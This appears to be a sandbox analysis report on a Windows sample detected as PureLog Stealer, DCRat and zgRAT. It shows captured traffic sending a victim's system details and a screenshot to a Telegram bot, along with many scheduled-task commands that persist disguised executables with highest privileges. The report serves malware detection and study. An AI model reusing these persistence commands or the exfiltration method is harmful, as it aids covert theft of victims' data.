2025-01-01 15:02:10 UTC	40	OUT	Data Raw: 2d 2d 34 31 65 33 39 33 32 39 2d 66 37 65 64 2d 34 61 32 34 2d 61 38 37 61 2d 38 64 35 64 34 31 65 63 34 34 36 36 0d 0a Data Ascii: --41e39329-f7ed-4a24-a87a-8d5d41ec4466
2025-01-01 15:02:10 UTC	89	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 63 68 61 74 5f 69 64 0d 0a 0d 0a Data Ascii: Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=chat_id
2025-01-01 15:02:10 UTC	10	OUT	Data Raw: 36 32 38 33 33 37 33 34 34 32 Data Ascii: 6283373442
2025-01-01 15:02:10 UTC	131	OUT	Data Raw: 0d 0a 2d 2d 34 31 65 33 39 33 32 39 2d 66 37 65 64 2d 34 61 32 34 2d 61 38 37 61 2d 38 64 35 64 34 31 65 63 34 34 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 63 61 70 74 69 6f 6e 0d 0a 0d 0a Data Ascii: --41e39329-f7ed-4a24-a87a-8d5d41ec4466Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=caption
2025-01-01 15:02:10 UTC	143	OUT	Data Raw: 6e 65 77 20 75 73 65 72 20 63 6f 6e 6e 65 63 74 20 21 0a 49 44 3a 20 61 33 31 35 30 33 31 34 33 31 31 61 38 34 39 36 62 32 35 65 37 30 34 30 35 63 36 35 36 66 61 32 33 36 32 33 65 34 65 35 0a 43 6f 6d 6d 65 6e 74 3a 20 4e 45 57 4f 52 4b 20 50 43 0a 55 73 65 72 6e 61 6d 65 3a 20 65 6e 67 69 6e 65 65 72 0a 50 43 20 4e 61 6d 65 3a 20 31 33 38 37 32 37 0a 49 50 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0a 47 45 4f 3a 20 55 53 0a Data Ascii: new user connect !ID: a3150314311a8496b25e70405c656fa23623e4e5Comment: NEWORK PCUsername: userPC Name: 138727IP: 8.46.123.189GEO: US
2025-01-01 15:02:10 UTC	146	OUT	Data Raw: 0d 0a 2d 2d 34 31 65 33 39 33 32 39 2d 66 37 65 64 2d 34 61 32 34 2d 61 38 37 61 2d 38 64 35 64 34 31 65 63 34 34 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 70 68 6f 74 6f 3b 20 66 69 6c 65 6e 61 6d 65 3d 73 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 73 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 0d 0a 0d 0a Data Ascii: --41e39329-f7ed-4a24-a87a-8d5d41ec4466Content-Disposition: form-data; name=photo; filename=screenshot.png; filename*=utf-8''screenshot.png
2025-01-01 15:02:10 UTC	4096	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1AQa"q2
2025-01-01 15:02:10 UTC	4096	OUT	Data Raw: e3 75 fd 35 b4 bf 01 6a 50 32 58 29 69 11 f1 63 69 f6 74 fb e8 39 5d cd 93 c7 5c fa 7a 57 95 d7 b2 f8 e3 fe 44 eb ff 00 fb 67 ff 00 a3 16 bc 6e bd 5c 99 b9 42 6d f7 3e 7f 3f 49 54 82 5d 84 a2 83 45 7b 27 80 14 94 b4 94 00 52 62 96 8a 06 25 14 1a 28 00 a4 e6 96 90 d3 18 52 52 d1 40 09 45 2e 29 28 18 94 52 e2 92 80 13 bd 14 77 a2 81 85 06 8a 28 01 28 a2 8a 06 21 a4 a7 52 1a 00 29 29 68 34 00 dc 51 4b 45 03 12 92 96 8a 06 25 14 51 40 09 45 06 8a 07 71 0d 26 29 d4 94 0c 4a 29 69 28 04 18 a4 a5 a0 d0 31 b8 a2 96 8a 00 4c 52 52 d1 40 c6 9a 29 4d 25 03 0a 4a 5a 4a 60 14 98 a5 a4 a4 30 34 94 b4 94 0c 4a 29 69 28 00 a4 22 96 8a 06 34 8a 29 69 28 18 94 77 a5 34 94 0c 4a 31 4b 48 68 18 84 52 1a 71 a4 a0 04 fa d2 52 91 49 8e 28 18 99 a3 8e b4 b4 94 14 25 25 38 d2 0a Data Ascii: u5jP2X)icit9]\zWDgn\Bm>?IT]E{'Rb%(RR@E.)(Rw((!R))h4QKE%Q@Eq&)J)i(1LRR@)M%JZJ`04J)i("4)i(w4J1KHhRqRI(%%8
2025-01-01 15:02:10 UTC	4096	OUT	Data Raw: 56 12 ca 29 b4 d2 7a bb fe 37 d3 f1 67 4c 73 ca a9 ea ae b4 fc 2d fe 46 5d 88 d3 61 d2 6c ed 75 9d 4a 0b dd 8d 6e 91 49 1d b4 9f 69 b7 84 12 d2 46 ee 50 65 71 f2 aa 82 e0 12 31 80 0d 4c 9a b6 9b 25 cd ad f4 d6 f7 d6 32 c7 ae 45 a9 96 b8 9f ed 21 91 9c 79 ca a1 22 5d a0 05 46 c1 cf dd c0 e7 ad ef 2a 3c e7 cb 4f fb e6 94 c6 8c 30 ca a4 0f 51 49 e5 31 7a f3 7f 5a 7f 90 d6 77 35 f6 17 9f e3 fe 67 3b 75 75 71 36 9d aa 4b 34 56 6b 35 c5 a9 8a dc 5b d9 a4 21 db ed 31 48 03 08 d1 7f 85 09 c9 f4 ab b3 4b a7 a5 f6 a3 af c5 70 1e e6 e9 67 96 3b 03 13 99 92 69 51 94 ab 92 bb 36 29 66 39 0c 49 00 70 09 38 d4 d8 98 03 62 f1 d3 8a 3c a8 f3 9d 8b 9f 5c 50 f2 88 5a ca 5d 2d fe 7f 78 2c f2 a7 58 a7 ad fe 7f f0 0a 76 c2 d9 be cd 75 16 a1 6c f2 2e 9f 6b 6e f6 db 26 59 55 d2 Data Ascii: V)z7gLs-F]aluJnIiFPeq1L%2E!y"]F*<O0QI1zZw5g;uuq6K4Vk5[!1HKpg;iQ6)f9Ip8b<\PZ]-x,Xvul.kn&YU
2025-01-01 15:02:10 UTC	4096	OUT	Data Raw: af ce f2 57 45 e2 6a 2a db 35 6f 9d d1 fa 4e 62 ab 2a 10 74 77 4f f4 3a b9 05 bb 78 55 be d4 11 ad c5 b8 67 dc 32 30 00 39 aa f7 a2 51 e0 69 cc d9 f3 4d 90 2f 9f 5d 83 3f ad 4d 6d a6 81 e1 4b 4d 3a fe 30 c6 38 61 49 53 39 04 ae de 3d c6 45 4d e2 1f f9 16 b5 1f fa e0 df ca bd 08 49 2a 8a 2b f9 8c aa c5 fb 29 49 ff 00 2f e8 78 cd 14 51 5f 68 7e 78 14 51 45 00 67 ea ff 00 f1 e8 bf f5 d0 7f 23 5d ae 8f af e9 f1 fc 35 69 26 bc 85 75 4b 2b 7b 8b 48 22 69 00 90 89 0a e1 95 7a 9c 0c 7e 46 b9 3b cb 6f b5 44 23 df b7 0d 9c e3 35 b3 e1 cf 86 ff 00 f0 90 69 f2 5d 7f 6b 7d 9f 64 c6 2d bf 66 dd 9c 00 73 9d c3 d6 bc fc 72 a4 a2 a5 55 d9 5f fa 47 d0 e4 f5 1b 8b a7 4f 59 6b fa 1a 7a c7 88 34 d9 be 1b 24 d1 5d 42 da b5 e5 b5 bd 94 f1 89 41 90 2c 6c c4 92 bd 46 79 e7 dc 7b Data Ascii: WEj5oNbtwO:xUg209QiM/]?MmKM:08aIS9=EMI*+)I/xQ_h~xQEg#]5i&uK+{H"iz~F;oD#5i]k}d-fsrU_GOYkz4$]BA,lFy{
2025-01-01 15:02:11 UTC	1587	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 01 Jan 2025 15:02:11 GMT Content-Type: application/json Content-Length: 1198 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":821,"from":{"id":8143016568,"is_bot":true,"first_name":"\u0411\u041e\u0422\u0418\u041a","username":"Heusjsjs628_bot"},"chat":{"id":6283373442,"first_name":"Loftan","username":"Lofty_Code","type":"private"},"date":1735743731,"photo":[{"file_id":"AgACAgEAAxkDAAIDNWd1WPPWdzWV5GeFxqTwPqrGfk1tAAKLrDEbCc2pR-wBoY2EERWNAQADAgADcwADNgQ","file_unique_id":"AQADi6wxGwnNqUd4","file_size":1096,"width":90,"height":72},{"file_id":"AgACAgEAAxkDAAIDNWd1WPPWdzWV5GeFxqTwPqrGfk1tAAKLrDEbCc2pR-wBoY2EERWNAQADAgADbQADNgQ","file_unique_id":"AQADi6wxGwnNqUdy","file_size":13991,"width":320,"height":256},{"file_id":"AgACAgEAAxkDAAIDNWd1WPPWdzWV5GeFxqTwPqrGfk1tAAKLrDEbCc2pR-wBoY2EERWNAQADAgADeAADNgQ","file_unique_id":"AQADi6wxGwnNqUd9","file_size":58384,"width":800,"height":640},{"file_id":"AgACAgEAAxkDAAIDNWd1WPPWdzWV5GeFxqTwPqrGfk1tAAKLrDEbCc2pR-wBoY2EERWNAQADAgADeQADNgQ","file_unique_id":"AQADi6wxGwnNqUd-","file_size":86047,"width":1280,"height":1024}],"caption":"new user connect !\nID: a3150314311a84 [TRUNCATED]

Target ID:	0
Start time:	10:02:00
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\eP6sjvTqJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\eP6sjvTqJa.exe"
Imagebase:	0xb80000
File size:	2'317'084 bytes
MD5 hash:	F0944C44A97161524CE95C9F8A2629F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.2112514278.000000000556C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.2110949935.0000000006C2F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:02:01
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe"
Imagebase:	0x3d0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:02:03
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Drivers\SE7AQJDJtAMXQraxpdEvOEZ68dJxrB3UY7MvAzdsW8.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:02:03
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:02:03
Start date:	01/01/2025
Path:	C:\Drivers\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\/Drivers/fontdrvhost.exe"
Imagebase:	0x150000
File size:	1'995'264 bytes
MD5 hash:	0F52130D0A1ABBE40D9F582B1F95A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000005.00000000.2139475451.0000000000152000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2222372567.00000000128A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Drivers\fontdrvhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Drivers\fontdrvhost.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:02:06
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 5 /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:02:06
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:02:06
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 11 /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:02:06
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:02:06
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Users\user\backgroundTaskHost.exe'" /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\user\backgroundTaskHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 9 /tr "'C:\Users\user\backgroundTaskHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Drivers\fontdrvhost.exe'" /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Drivers\fontdrvhost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Drivers\fontdrvhost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6c8280000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:02:07
Start date:	01/01/2025
Path:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe"
Imagebase:	0x590000
File size:	1'995'264 bytes
MD5 hash:	0F52130D0A1ABBE40D9F582B1F95A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000018.00000002.4579559349.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000018.00000002.4579559349.0000000002E14000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	10:02:08
Start date:	01/01/2025
Path:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe"
Imagebase:	0x860000
File size:	1'995'264 bytes
MD5 hash:	0F52130D0A1ABBE40D9F582B1F95A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:02:08
Start date:	01/01/2025
Path:	C:\Drivers\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Drivers\fontdrvhost.exe
Imagebase:	0x130000
File size:	1'995'264 bytes
MD5 hash:	0F52130D0A1ABBE40D9F582B1F95A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:02:08
Start date:	01/01/2025
Path:	C:\Drivers\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Drivers\fontdrvhost.exe
Imagebase:	0x7ff66e660000
File size:	1'995'264 bytes
MD5 hash:	0F52130D0A1ABBE40D9F582B1F95A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:02:11
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\vK5Z1luEHZ.bat"
Imagebase:	0x7ff6eb530000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:02:11
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
